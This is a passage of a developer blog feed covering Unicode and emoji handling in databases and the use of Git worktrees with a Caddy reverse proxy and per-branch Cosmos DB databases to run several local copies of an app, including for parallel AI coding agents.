    <span class="k">throw</span> <span class="k">new</span> <span class="nb">Error</span><span class="p">(</span><span class="s2">`Too many characters (max </span><span class="p">${</span><span class="nx">maxGraphemes</span><span class="p">}</span><span class="s2">)`</span><span class="p">);</span>
  <span class="p">}</span>
  
  <span class="k">if</span> <span class="p">(</span><span class="nx">bytes</span> <span class="o">&gt;</span> <span class="nx">maxBytes</span><span class="p">)</span> <span class="p">{</span>
    <span class="k">throw</span> <span class="k">new</span> <span class="nb">Error</span><span class="p">(</span><span class="dl">'</span><span class="s1">Text too long in bytes</span><span class="dl">'</span><span class="p">);</span>
  <span class="p">}</span>
<span class="p">}</span>
</code></pre></div></div>

<h3 id="fix-5-use-text-columns-not-varchar">Fix 5: Use TEXT Columns, Not VARCHAR</h3>

<div class="language-sql highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">-- Instead of guessing VARCHAR size</span>
<span class="k">CREATE</span> <span class="k">TABLE</span> <span class="n">posts</span> <span class="p">(</span>
  <span class="n">content</span> <span class="nb">VARCHAR</span><span class="p">(</span><span class="mi">10000</span><span class="p">)</span>  <span class="c1">-- Might not be enough for emoji-heavy text</span>
<span class="p">);</span>

<span class="c1">-- Use TEXT when there is no application-level character limit</span>
<span class="k">CREATE</span> <span class="k">TABLE</span> <span class="n">posts</span> <span class="p">(</span>
  <span class="n">content</span> <span class="nb">TEXT</span>
<span class="p">);</span>
</code></pre></div></div>

<p>In PostgreSQL, <code class="language-plaintext highlighter-rouge">TEXT</code> and <code class="language-plaintext highlighter-rouge">VARCHAR</code> have the same storage characteristics; <code class="language-plaintext highlighter-rouge">VARCHAR(n)</code> adds a character limit.</p>

<h3 id="fix-6-test-with-emoji">Fix 6: Test With Emoji</h3>

<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// Add these to your test suite</span>
<span class="kd">const</span> <span class="nx">testStrings</span> <span class="o">=</span> <span class="p">[</span>
  <span class="dl">'</span><span class="s1">Simple ASCII</span><span class="dl">'</span><span class="p">,</span>
  <span class="dl">'</span><span class="s1">Café</span><span class="dl">'</span><span class="p">,</span>                    <span class="c1">// Accented characters</span>
  <span class="dl">'</span><span class="s1">Hello 世界</span><span class="dl">'</span><span class="p">,</span>              <span class="c1">// CJK characters</span>
  <span class="dl">'</span><span class="s1">مرحبا</span><span class="dl">'</span><span class="p">,</span>                   <span class="c1">// RTL text</span>
  <span class="dl">'</span><span class="s1">Hello 👋</span><span class="dl">'</span><span class="p">,</span>               <span class="c1">// Basic emoji</span>
  <span class="dl">'</span><span class="s1">👨‍👩‍👧‍👦</span><span class="dl">'</span><span class="p">,</span>                    <span class="c1">// Combined emoji</span>
  <span class="dl">'</span><span class="s1">🏴󠁧󠁢󠁥󠁮󠁧󠁿</span><span class="dl">'</span><span class="p">,</span>                        <span class="c1">// Flag emoji</span>
  <span class="dl">'</span><span class="s1">👋🏻👋🏿</span><span class="dl">'</span><span class="p">,</span>                   <span class="c1">// Emoji with skin tones</span>
  <span class="dl">'</span><span class="s1">ℌ𝔢𝔩𝔩𝔬</span><span class="dl">'</span><span class="p">,</span>                <span class="c1">// Mathematical alphanumeric symbols</span>
<span class="p">];</span>
</code></pre></div></div>

<h2 id="key-takeaways">Key Takeaways</h2>

<ol>
  <li><strong>Use UTF-8 (utf8mb4 in MySQL) everywhere</strong> - No exceptions</li>
  <li><strong>Normalize text on input</strong> - NFC is usually the right choice</li>
  <li><strong>Count graphemes, not code points</strong> - Use Intl.Segmenter</li>
  <li><strong>Test with emoji</strong> - They will break your assumptions</li>
  <li><strong>Never use CHAR for user input</strong> - Use VARCHAR or TEXT</li>
  <li><strong>Validate both length and byte size</strong> - They’re different</li>
  <li><strong>Normalize before comparing</strong> - ‘é’ has multiple representations</li>
  <li><strong>Don’t use names in URLs</strong> - Use IDs instead</li>
</ol>

<h2 id="conclusion">Conclusion</h2>

<p>Unicode is humanity’s attempt to represent every written symbol in a computer. Emoji are humanity’s attempt to communicate without words. Together, they create a perfect storm of edge cases.</p>

<blockquote>
  <p><strong>Remember:</strong> 
If your system can’t handle 💩, it’s not ready for production.</p>
</blockquote>]]></content><author><name>Shaswat Rungta</name></author><category term="Web" /><category term="Unicode" /><category term="Database" /><summary type="html"><![CDATA[Chapter 1: A brief history of world knowledge]]></summary><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blog.shaswatrungta.online/assets/images/start-right/STARTRIGHT03/cover.svg" /><media:content medium="image" url="https://blog.shaswatrungta.online/assets/images/start-right/STARTRIGHT03/cover.svg" xmlns:media="http://search.yahoo.com/mrss/" /></entry><entry><title type="html">Running Multiple App Copies Locally with Git Worktrees and Caddy</title><link href="https://blog.shaswatrungta.online/blog/llm/multi-slot-local-dev-with-worktrees-and-caddy" rel="alternate" type="text/html" title="Running Multiple App Copies Locally with Git Worktrees and Caddy" /><published>2026-07-19T00:00:00+05:30</published><updated>2026-07-19T00:00:00+05:30</updated><id>https://blog.shaswatrungta.online/blog/llm/multi-slot-local-dev-with-worktrees-and-caddy</id><content type="html" xml:base="https://blog.shaswatrungta.online/blog/llm/multi-slot-local-dev-with-worktrees-and-caddy"><![CDATA[<blockquote>
  <p>📚 <strong>Companion post:</strong> <a href="/blog/llm/git-worktrees-for-agentic-development">Git Worktrees for Agentic Development</a>
explains why worktrees are useful when people or coding agents work on several branches at once.</p>
</blockquote>

<p>Most local development setups assume that only one copy of the application is running. The frontend
always uses one port, the API always uses another, and every branch connects to the same local
database. That assumption is invisible while you work on one branch at a time.</p>

<p>Git worktrees change the equation. They give each branch a separate directory, but they do not
isolate anything the application uses at runtime. Start the app from a second worktree and both
copies compete for the same ports. Change one copy to use different ports and its frontend still
needs to find the matching API. Even after both copies start, they can write to the same database.</p>

<p>This is more than inconvenient bookkeeping. You can open the frontend from one branch while it
silently calls the API from another, or test a data change against records created by a different
worktree. Two developers or coding agents can interfere with each other even though their source
files are isolated.</p>

<p>What we want is one independently addressable application copy per worktree, with isolated data,
without starting another copy of every heavyweight dependency.</p>

<p>This post builds that model with <strong>development slots</strong> and <strong>Caddy</strong>. A slot is a name for one
running copy of the application and its data boundary. The sample derives that name from the current
Git branch, so each worktree naturally gets its own slot. Caddy acts as a shared reverse proxy,
giving every slot stable URLs while its frontend and API run on separate high-numbered ports. You
can also provide a slot name explicitly.</p>

<p>Each slot gets:</p>

<ul>
  <li>A stable frontend URL such as <code class="language-plaintext highlighter-rouge">http://feature-search.multi-agent-wt.localhost:8088</code>.</li>
  <li>A stable API URL such as <code class="language-plaintext highlighter-rouge">http://api-feature-search.multi-agent-wt.localhost:8088</code>.</li>
  <li>Its own frontend and API ports behind those URLs.</li>
  <li>Its own Cosmos DB database, such as <code class="language-plaintext highlighter-rouge">multi-agent-wt-feature-search</code>.</li>
</ul>

<p>All slots share one Caddy proxy and one Cosmos DB emulator.</p>

<h2 id="-try-the-complete-sample">🧪 Try the complete sample</h2>

<p>The working sample is in
<a href="https://github.com/srungta/samples/tree/main/MultiAgentWorktrees"><code class="language-plaintext highlighter-rouge">MultiAgentWorktrees</code></a>.
It contains a React frontend, a .NET API, Docker Compose infrastructure, and the slot script used in
this post.</p>

<p>You need:</p>

<ul>
  <li>Docker Desktop or Docker Engine with Compose</li>
  <li>.NET 10 SDK</li>
  <li>Node.js and pnpm</li>
  <li>Bash and <code class="language-plaintext highlighter-rouge">curl</code> (macOS, Linux, or WSL for multi-slot mode)</li>
</ul>

<p>From the sample directory, run:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>./start-multislot.sh infra-up
./start-multislot.sh up
</code></pre></div></div>

<p>The first command starts the shared Cosmos DB emulator and Caddy. The second command:</p>

<ol>
  <li>Gets the slot name from your current git branch.</li>
  <li>Assigns stable frontend and API ports.</li>
  <li>Chooses a database name for the slot; the API creates it on startup.</li>
  <li>Starts the API and frontend.</li>
  <li>Adds both hostnames to Caddy.</li>
</ol>

<p>On the <code class="language-plaintext highlighter-rouge">main</code> branch, it prints:</p>

<div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Slot 'main' is ready.
  Frontend: http://main.multi-agent-wt.localhost:8088
  API:      http://api-main.multi-agent-wt.localhost:8088
  Database: multi-agent-wt-main
  Logs:     /Users/you/.config/multi-agent-wt/slots/main
</code></pre></div></div>

<p>Open the frontend URL and add a note. That note is stored only in this slot’s database.</p>

<p>If you are not in a git branch, or want a specific name, pass one:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>./start-multislot.sh up demo
</code></pre></div></div>

<p>That is the entire daily startup flow.</p>

<h2 id="-run-a-second-branch">🌿 Run a second branch</h2>

<p>Create a worktree from your main clone:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>git worktree add ../samples-feature-search <span class="nt">-b</span> feature/search
</code></pre></div></div>

<p>Enter that worktree and start its slot:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">cd</span> ../samples-feature-search/MultiAgentWorktrees
./start-multislot.sh up
</code></pre></div></div>

<p>Now both copies run at the same time:</p>

<table>
  <thead>
    <tr>
      <th>Branch</th>
      <th>Frontend</th>
      <th>Database</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">main</code></td>
      <td><code class="language-plaintext highlighter-rouge">http://main.multi-agent-wt.localhost:8088</code></td>
      <td><code class="language-plaintext highlighter-rouge">multi-agent-wt-main</code></td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">feature/search</code></td>
      <td><code class="language-plaintext highlighter-rouge">http://feature-search.multi-agent-wt.localhost:8088</code></td>
      <td><code class="language-plaintext highlighter-rouge">multi-agent-wt-feature-search</code></td>
    </tr>
  </tbody>
</table>

<p>Adding a note in one frontend does not make it appear in the other.</p>

<h2 id="-how-the-pieces-fit-together">🧭 How the pieces fit together</h2>

<p>At a high level, Caddy sends each hostname to the matching slot. Each slot has its own frontend,
API, and database name, while the proxy and database server are shared.</p>

<pre><code class="language-mermaid">flowchart TB
  Browser[Browser] --&gt; Caddy[Caddy reverse proxy&lt;br/&gt;shared entry point on port 8088]
  Caddy --&gt;|main hostname| Main[main slot&lt;br/&gt;Vite + .NET API]
  Caddy --&gt;|feature hostname| Feature[feature slot&lt;br/&gt;Vite + .NET API]
  Main --&gt;|multi-agent-wt-main| Cosmos[(Shared Cosmos emulator)]
  Feature --&gt;|multi-agent-wt-feature-search| Cosmos

  classDef client fill:#e8f1fb,stroke:#2463a2,color:#102a43,stroke-width:2px
  classDef proxy fill:#fff3cd,stroke:#9a6700,color:#4d3500,stroke-width:2px
  classDef mainSlot fill:#e6f4ea,stroke:#287d3c,color:#163d22,stroke-width:2px
  classDef featureSlot fill:#fce8e6,stroke:#b4473a,color:#5f2019,stroke-width:2px
  classDef data fill:#f3e8ff,stroke:#7b3fa1,color:#3d2053,stroke-width:2px

  class Browser client
  class Caddy proxy
  class Main mainSlot
  class Feature featureSlot
  class Cosmos data
</code></pre>

<p>Here are the request routes in more detail:</p>

<pre><code class="language-mermaid">flowchart LR
  Browser[Browser]

  subgraph Docker[Shared Docker infrastructure]
    Caddy[Caddy reverse proxy&lt;br/&gt;port 8088]
    Cosmos[(Cosmos DB emulator)]
  end

  subgraph Main[main slot]
    MainUI[Vite&lt;br/&gt;host port 4xxxx]
    MainAPI[.NET API&lt;br/&gt;host port 2xxxx]
  end

  subgraph Feature[feature-search slot]
    FeatureUI[Vite&lt;br/&gt;host port 4yyyy]
    FeatureAPI[.NET API&lt;br/&gt;host port 2yyyy]
  end

  Browser --&gt;|main.multi-agent-wt.localhost:8088| Caddy
  Browser --&gt;|api-main.multi-agent-wt.localhost:8088| Caddy
  Browser --&gt;|feature-search.multi-agent-wt.localhost:8088| Caddy
  Browser --&gt;|api-feature-search.multi-agent-wt.localhost:8088| Caddy
  Caddy --&gt; MainUI
  Caddy --&gt; MainAPI
  Caddy --&gt; FeatureUI
  Caddy --&gt; FeatureAPI
  MainAPI --&gt;|database: multi-agent-wt-main| Cosmos
  FeatureAPI --&gt;|database: multi-agent-wt-feature-search| Cosmos

  classDef client fill:#e8f1fb,stroke:#2463a2,color:#102a43,stroke-width:2px
  classDef proxy fill:#fff3cd,stroke:#9a6700,color:#4d3500,stroke-width:2px
  classDef mainSlot fill:#e6f4ea,stroke:#287d3c,color:#163d22,stroke-width:2px
  classDef featureSlot fill:#fce8e6,stroke:#b4473a,color:#5f2019,stroke-width:2px
  classDef data fill:#f3e8ff,stroke:#7b3fa1,color:#3d2053,stroke-width:2px

  class Browser client
  class Caddy proxy
  class MainUI,MainAPI mainSlot
  class FeatureUI,FeatureAPI featureSlot
  class Cosmos data

  style Docker fill:#fffaf0,stroke:#9a6700,stroke-width:2px
  style Main fill:#f3faf5,stroke:#287d3c,stroke-width:2px
  style Feature fill:#fff5f3,stroke:#b4473a,stroke-width:2px
</code></pre>

<p>There are two kinds of resources:</p>

<p><strong>🏗️ Shared infrastructure, started once:</strong></p>

<ul>
  <li>Caddy listens on port <code class="language-plaintext highlighter-rouge">8088</code> and routes requests by hostname.</li>
  <li>The Cosmos DB emulator listens on port <code class="language-plaintext highlighter-rouge">8081</code> and hosts many databases.</li>
</ul>

<p><strong>📦 Per-slot processes, started in each worktree:</strong></p>

<ul>
  <li>One Vite dev server.</li>
  <li>One .NET API process.</li>
  <li>One Cosmos database name.</li>
</ul>

<h2 id="-what-caddy-and-a-reverse-proxy-do">🔀 What Caddy and a reverse proxy do</h2>

<p>A proxy receives a request on behalf of another server. A <strong>reverse proxy</strong> sits in front of
application servers: the browser connects to the proxy, and the proxy chooses which application
process should receive the request. The application port stays hidden behind the proxy’s stable
address.</p>

<p>In this sample, Caddy is the reverse proxy. Every frontend and API URL reaches Caddy on port <code class="language-plaintext highlighter-rouge">8088</code>.
Caddy reads the HTTP <code class="language-plaintext highlighter-rouge">Host</code> header, matches it against a route, and forwards the request to the
corresponding process running on a high-numbered host port. The response returns through Caddy to
the browser.</p>

<p>Caddy only handles routing. The worktree isolates source files, while the slot script starts the
processes and chooses a database name.</p>

<h2 id="-why-the-local-hostnames-work">🌐 Why the local hostnames work</h2>

<p>Names ending in <code class="language-plaintext highlighter-rouge">.localhost</code> resolve to the loopback address in modern browsers. You do not need to
add every slot to <code class="language-plaintext highlighter-rouge">/etc/hosts</code>.</p>

<p>Caddy receives all traffic on port <code class="language-plaintext highlighter-rouge">8088</code>. It uses the request hostname to choose an upstream:</p>

<pre><code class="language-caddyfile">http://feature-search.multi-agent-wt.localhost:8088 {
	reverse_proxy host.docker.internal:40123
}

http://api-feature-search.multi-agent-wt.localhost:8088 {
	reverse_proxy host.docker.internal:20123
}
</code></pre>

<p>The actual port numbers do not matter to the person using the app. Caddy hides them behind readable,
predictable URLs.</p>

<p>The Caddy container reaches host-run processes through <code class="language-plaintext highlighter-rouge">host.docker.internal</code>. The Compose file adds
a host-gateway mapping for Docker Engine on Linux; Docker Desktop provides the same hostname on
macOS and Windows.</p>

<p>The browser calls the frontend hostname to load the UI. The frontend then calls its own API hostname,
which also goes through Caddy. Caddy does not forward traffic to Cosmos DB: each API connects
directly to the shared emulator.</p>

<h2 id="-why-the-data-stays-isolated">🔒 Why the data stays isolated</h2>

<p>Running one Cosmos emulator per worktree would use unnecessary memory. Instead, every API connects
to the same endpoint but uses a different database name:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">Cosmos__Endpoint</span><span class="o">=</span><span class="s2">"https://localhost:8081"</span>
<span class="nv">Cosmos__Database</span><span class="o">=</span><span class="s2">"multi-agent-wt-feature-search"</span>
</code></pre></div></div>

<p>.NET maps the double underscore in <code class="language-plaintext highlighter-rouge">Cosmos__Database</code> to the configuration key
<code class="language-plaintext highlighter-rouge">Cosmos:Database</code>.</p>

<p>The sample API uses the current Linux-based Cosmos DB emulator image in HTTPS mode:</p>

<div class="language-yaml highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="na">cosmos</span><span class="pi">:</span>
  <span class="na">image</span><span class="pi">:</span> <span class="s">mcr.microsoft.com/cosmosdb/linux/azure-cosmos-emulator:vnext-latest</span>
  <span class="na">command</span><span class="pi">:</span> <span class="pi">[</span><span class="s2">"</span><span class="s">--protocol"</span><span class="pi">,</span> <span class="s2">"</span><span class="s">https"</span><span class="pi">]</span>
  <span class="na">ports</span><span class="pi">:</span>
    <span class="pi">-</span> <span class="s2">"</span><span class="s">8080:8080"</span> <span class="c1"># readiness endpoint</span>
    <span class="pi">-</span> <span class="s2">"</span><span class="s">8081:8081"</span> <span class="c1"># Cosmos endpoint</span>
    <span class="pi">-</span> <span class="s2">"</span><span class="s">1234:1234"</span> <span class="c1"># Data Explorer</span>
</code></pre></div></div>

<p>The vNext emulator supports the API for NoSQL in gateway mode, so the .NET client sets it explicitly:</p>

<div class="language-csharp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">var</span> <span class="n">cosmos</span> <span class="p">=</span> <span class="k">new</span> <span class="nf">CosmosClient</span><span class="p">(</span><span class="n">endpoint</span><span class="p">,</span> <span class="n">key</span><span class="p">,</span> <span class="k">new</span> <span class="n">CosmosClientOptions</span>
<span class="p">{</span>
    <span class="n">ConnectionMode</span> <span class="p">=</span> <span class="n">ConnectionMode</span><span class="p">.</span><span class="n">Gateway</span><span class="p">,</span>
    <span class="n">ServerCertificateCustomValidationCallback</span> <span class="p">=</span> <span class="p">(</span><span class="n">_</span><span class="p">,</span> <span class="n">_</span><span class="p">,</span> <span class="n">_</span><span class="p">)</span> <span class="p">=&gt;</span> <span class="k">true</span><span class="p">,</span>
<span class="p">});</span>
</code></pre></div></div>

<p>The certificate bypass is for the local emulator only. Do not use it with a production Cosmos DB
account.</p>

<h2 id="️-what-the-slot-script-records">🗂️ What the slot script records</h2>

<p>Each slot has a small state directory under <code class="language-plaintext highlighter-rouge">~/.config/multi-agent-wt/slots</code>:</p>

<div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code>~/.config/multi-agent-wt/slots/feature-search/
├── env
├── Caddyfile
├── api.pid
├── api.log
├── frontend.pid
└── frontend.log
</code></pre></div></div>

<p>The script lowercases the slot name and replaces non-alphanumeric runs with hyphens. It then hashes
that sanitized name into a stable numeric offset, adds the offset to base ports <code class="language-plaintext highlighter-rouge">20000</code> and <code class="language-plaintext highlighter-rouge">40000</code>,
and checks known slots and listening ports for a collision before starting anything.</p>

<p>The script injects the matching API URL into the Vite process:</p>

<div class="language-ini highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="py">VITE_API_BASE</span><span class="p">=</span><span class="s">http://api-feature-search.multi-agent-wt.localhost:8088</span>
</code></pre></div></div>

<p>Vite listens on all host interfaces so Caddy’s container can reach it:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>pnpm <span class="nb">exec </span>vite <span class="nt">--host</span> 0.0.0.0 <span class="nt">--port</span> <span class="s2">"</span><span class="nv">$frontend_port</span><span class="s2">"</span> <span class="nt">--strictPort</span>
</code></pre></div></div>

<p>You do not need to copy the full orchestration script from this article. Use the tested
<a href="https://github.com/srungta/samples/blob/main/MultiAgentWorktrees/start-multislot.sh"><code class="language-plaintext highlighter-rouge">start-multislot.sh</code></a>
from the sample.</p>

<h2 id="-what-happens-when-a-slot-starts">🚀 What happens when a slot starts</h2>

<p>Starting a slot does five things:</p>

<ol>
  <li>Pick a name and two free ports for the slot.</li>
  <li>Start the API and create the slot’s database if needed.</li>
  <li>Start the frontend and point it to the slot’s API.</li>
  <li>Tell Caddy which URLs belong to the new slot.</li>
  <li>Check that the frontend and API work. If they do not, stop the slot and remove its Caddy routes.</li>
</ol>

<p>Caddy and the Cosmos emulator are already running. A new slot adds only a frontend, an API, a
database name, and two Caddy routes.</p>

<pre><code class="language-mermaid">sequenceDiagram
    actor Developer
    participant Script as start-multislot.sh
    participant API as .NET API
    participant UI as Vite
    participant Caddy
    participant Cosmos as Cosmos emulator

    rect rgb(232, 241, 251)
    Developer-&gt;&gt;Script: up feature-search
    Script-&gt;&gt;Script: clean name and pick ports
    end
    rect rgb(230, 244, 234)
    Script-&gt;&gt;API: start with its database name
    API-&gt;&gt;Cosmos: create database if needed
    Script-&gt;&gt;UI: start with the matching API URL
    end
    rect rgb(255, 243, 205)
    Script-&gt;&gt;Caddy: add routes and reload
    Script-&gt;&gt;Caddy: open API and frontend URLs
    Caddy-&gt;&gt;API: check API health
    Caddy-&gt;&gt;UI: check frontend
    Script--&gt;&gt;Developer: show URLs and database name
    end
</code></pre>

<h2 id="-stop-and-inspect-slots">🛑 Stop and inspect slots</h2>

<p>List all known slots:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>./start-multislot.sh status
</code></pre></div></div>

<p>Stop only the current branch’s slot:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>./start-multislot.sh down
</code></pre></div></div>

<p>Stop a named slot:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>./start-multislot.sh down feature-search
</code></pre></div></div>

<p>When no slots remain, stop shared infrastructure:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>./start-multislot.sh infra-down
</code></pre></div></div>

<p>The script refuses to stop shared infrastructure while known slots still exist. Normal shutdown also
preserves the Cosmos Docker volume, so your local data survives a restart.</p>

<h2 id="️-the-pattern-to-reuse">♻️ The pattern to reuse</h2>

<p>You can adapt the sample to another project by changing four things:</p>

<ol>
  <li>Replace <code class="language-plaintext highlighter-rouge">multi-agent-wt.localhost</code> with your local domain.</li>
  <li>Replace the commands that start the frontend and API.</li>
  <li>Pass a slot-specific database, schema, or tenant name to your backend.</li>
  <li>Keep shared services in the infrastructure Compose file and lightweight app processes per slot.</li>
</ol>

<p>The important idea is not the exact script. It is the separation of concerns:</p>

<ul>
  <li>Git worktrees isolate files and branches.</li>
  <li>Caddy gives changing processes stable names.</li>
  <li>Per-slot database names isolate data.</li>
  <li>Shared infrastructure keeps the setup light enough to run many copies.</li>
</ul>

<p>With those boundaries in place, running another branch becomes one command instead of another round
of port and configuration bookkeeping.</p>

<h2 id="-prerequisites-for-adapting-this-pattern">✅ Prerequisites for adapting this pattern</h2>

<p>The orchestration script cannot create isolation if the application has fixed addresses or hidden
shared state. Before applying this pattern to another project, make sure it supports the following
capabilities.</p>

<h3 id="️-runtime-configuration">⚙️ Runtime configuration</h3>

<p>The frontend must read its API base URL from configuration rather than embedding it in the source.
The backend must do the same for its database endpoint, credentials, and database name. In this
sample, the relevant values are:</p>

<div class="language-ini highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="py">VITE_API_BASE</span><span class="p">=</span><span class="s">http://api-feature-search.multi-agent-wt.localhost:8088</span>
<span class="py">Cosmos__Endpoint</span><span class="p">=</span><span class="s">https://localhost:8081</span>
<span class="py">Cosmos__Database</span><span class="p">=</span><span class="s">multi-agent-wt-feature-search</span>
</code></pre></div></div>

<p>The frontend and API must also accept a port at startup. Each slot needs different listening ports,
even though Caddy hides those ports from the browser.</p>

<h3 id="-a-per-slot-data-boundary">🧱 A per-slot data boundary</h3>

<p>The shared data service must provide a namespace that can be selected through configuration. That
boundary is a Cosmos database in this sample, but it could be a PostgreSQL database or schema, a
storage prefix, or a tenant identifier. Every read, write, migration, and background job must use
the selected namespace; one hard-coded database or globally shared queue can break slot isolation.</p>

<h3 id="️-repeatable-database-creation-and-migration">🗄️ Repeatable database creation and migration</h3>

<p>A new slot starts with a new database name, so the application needs an initialization path. The
sample API uses <code class="language-plaintext highlighter-rouge">CreateDatabaseIfNotExistsAsync</code> and <code class="language-plaintext highlighter-rouge">CreateContainerIfNotExistsAsync</code> during
startup. A larger application might run a separate provisioning or migration command instead.</p>

<p>Whichever approach you use, it should:</p>

<ul>
  <li>Accept the slot-specific database or schema name as input.</li>
  <li>Be idempotent, so restarting a slot is safe.</li>
  <li>Apply all schema migrations required by the branch being started.</li>
  <li>Fail before the slot is advertised as ready if provisioning does not succeed.</li>
</ul>

<p>Be deliberate about incompatible migrations. Slots isolate database names, but they still share the
same database server or emulator version.</p>

<h3 id="-reachable-services-and-allowed-origins">🔌 Reachable services and allowed origins</h3>

<p>Caddy must be able to reach the frontend and API processes. In the sample they bind to <code class="language-plaintext highlighter-rouge">0.0.0.0</code>
because Caddy runs in Docker and connects through <code class="language-plaintext highlighter-rouge">host.docker.internal</code>. If Caddy runs directly on
the host, binding to loopback may be enough.</p>

<p>The API must also allow requests from each slot’s frontend origin. The sample allows every CORS
origin for local development. A real project should generate an allowlist or safely validate the
local slot domain instead of carrying that permissive policy into production.</p>

<h3 id="-readiness-and-lifecycle-commands">🩺 Readiness and lifecycle commands</h3>

<p>The slot manager needs a lightweight API health endpoint and a frontend URL it can probe before it
reports success. It also needs reliable commands for starting and stopping both processes, plus a
place to record their PIDs, logs, assigned ports, and proxy routes.</p>

<p>Finally, decide what <code class="language-plaintext highlighter-rouge">down</code> means for data. This sample stops the processes and removes the Caddy
route but preserves the slot’s Cosmos database. Projects that need disposable slots should add an
explicit database cleanup command rather than deleting data as a side effect of ordinary shutdown.</p>

<p>🏁 Conclusion</p>

<p>Remember the last time you switched branches mid-feature, forgot to change a port, and spent twenty minutes wondering why your “new” UI was showing old data? That was not a skill issue. That was an invisible assumption biting you. Fix it for yourslef and your agents today 😎</p>]]></content><author><name>Shaswat Rungta</name></author><category term="LLM" /><category term="Git" /><category term="Local Development" /><category term="Caddy" /><summary type="html"><![CDATA[📚 Companion post: Git Worktrees for Agentic Development explains why worktrees are useful when people or coding agents work on several branches at once.]]></summary><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blog.shaswatrungta.online/assets/images/llm/LLMSLOT01/cover.svg" /><media:content medium="image" url="https://blog.shaswatrungta.online/assets/images/llm/LLMSLOT01/cover.svg" xmlns:media="http://search.yahoo.com/mrss/" /></entry><entry><title type="html">Git Worktrees for Agentic Development</title><link href="https://blog.shaswatrungta.online/blog/llm/git-worktrees-for-agentic-development" rel="alternate" type="text/html" title="Git Worktrees for Agentic Development" /><published>2026-07-16T00:00:00+05:30</published><updated>2026-07-16T00:00:00+05:30</updated><id>https://blog.shaswatrungta.online/blog/llm/git-worktrees-for-agentic-development</id><content type="html" xml:base="https://blog.shaswatrungta.online/blog/llm/git-worktrees-for-agentic-development"><![CDATA[<h2 id="the-problem-agents-create">The problem agents create</h2>

<p>Most development workflows assume that one developer is doing one thing at a time: check out a
branch, make changes, run tests, commit, and move on. In that model, one working directory is
plenty.</p>

<p>AI coding agents break that assumption. The whole point of an agent is that you can run <strong>many at
once</strong>: one fixing a bug, one writing tests, one refactoring a module, one exploring a risky idea
you’re not sure about. Suddenly, the working directory becomes a shared resource, and the obvious
workarounds start to break down:</p>

<ul>
  <li><strong>Sharing one checkout</strong> — agents overwrite each other’s uncommitted files. Agent A’s
half-finished refactor corrupts Agent B’s test run. <code class="language-plaintext highlighter-rouge">git checkout</code> by one agent yanks the ground
out from under another.</li>
  <li><strong>Full <code class="language-plaintext highlighter-rouge">git clone</code> per agent</strong> — every clone re-downloads the entire history. For a large repo
that can mean gigabytes and minutes <em>per agent</em>, plus multiple copies of <code class="language-plaintext highlighter-rouge">.git</code> consuming disk.</li>
  <li><strong>Stash juggling</strong> — <code class="language-plaintext highlighter-rouge">git stash</code> to swap contexts is fragile, serial, and impossible to
parallelize.</li>
</ul>

<p>What agents actually need is <strong>isolation without duplication</strong>: many independent working
directories that don’t interfere, but that share one history so branches, commits, and fetches are
instant and cheap.</p>

<p>Branches alone do not solve this. A branch identifies an independent line of history, but creating
one does not create another working directory. For that, each agent needs a worktree of its own.</p>

<p>That primitive already ships with Git. It is called a <strong>worktree</strong>.</p>

<hr />

<h2 id="what-a-worktree-actually-is">What a worktree actually is</h2>

<p><code class="language-plaintext highlighter-rouge">git worktree</code> lets one repository have <strong>multiple working directories checked out at the same
time</strong>, each on its own branch, all backed by a <strong>single shared <code class="language-plaintext highlighter-rouge">.git</code> object store</strong>.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># In your main clone (on `main`):</span>
git worktree add <span class="nt">-b</span> feature/search ../repo-agent-a main
git worktree add <span class="nt">-b</span> bugfix/crash ../repo-agent-b main
git worktree add <span class="nt">-b</span> chore/deps ../repo-agent-c main
</code></pre></div></div>

<p>You now have four directories on disk:</p>

<div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code>~/code/repo              (main)              ← the primary worktree
~/code/repo-agent-a      (feature/search)
~/code/repo-agent-b      (bugfix/crash)
~/code/repo-agent-c      (chore/deps)
</code></pre></div></div>

<p>Each directory has its own working files, index, and <code class="language-plaintext highlighter-rouge">HEAD</code>. But there is only <strong>one</strong> copy of the
repository’s history: the objects, refs, and packfiles are shared through the repository’s common
Git directory. Creating a worktree does <strong>not</strong> re-download or duplicate that history, so it is
typically fast even for a large repository.</p>

<div class="worktree-diagram" role="img" aria-label="Three independent worktrees connected to one shared Git object store">
  <div class="worktree-store">
    <strong>Shared object store <code>.git</code></strong>
    <span>commits · trees · blobs</span>
  </div>
  <div class="worktree-nodes" style="--worktree-node-count: 3">
    
      
      <div class="worktree-node">
        <strong>agent-a</strong>
        <code>feature/search</code>
        <span>own files + index</span>
      </div>
    
      
      <div class="worktree-node">
        <strong>agent-b</strong>
        <code>bugfix/crash</code>
        <span>own files + index</span>
      </div>
    
      
      <div class="worktree-node">
        <strong>agent-c</strong>
        <code>chore/deps</code>
        <span>own files + index</span>
      </div>
    
  </div>
</div>

<p>The result is the useful combination: shared history, independent files. That is exactly the
isolation parallel agents need.</p>

<hr />

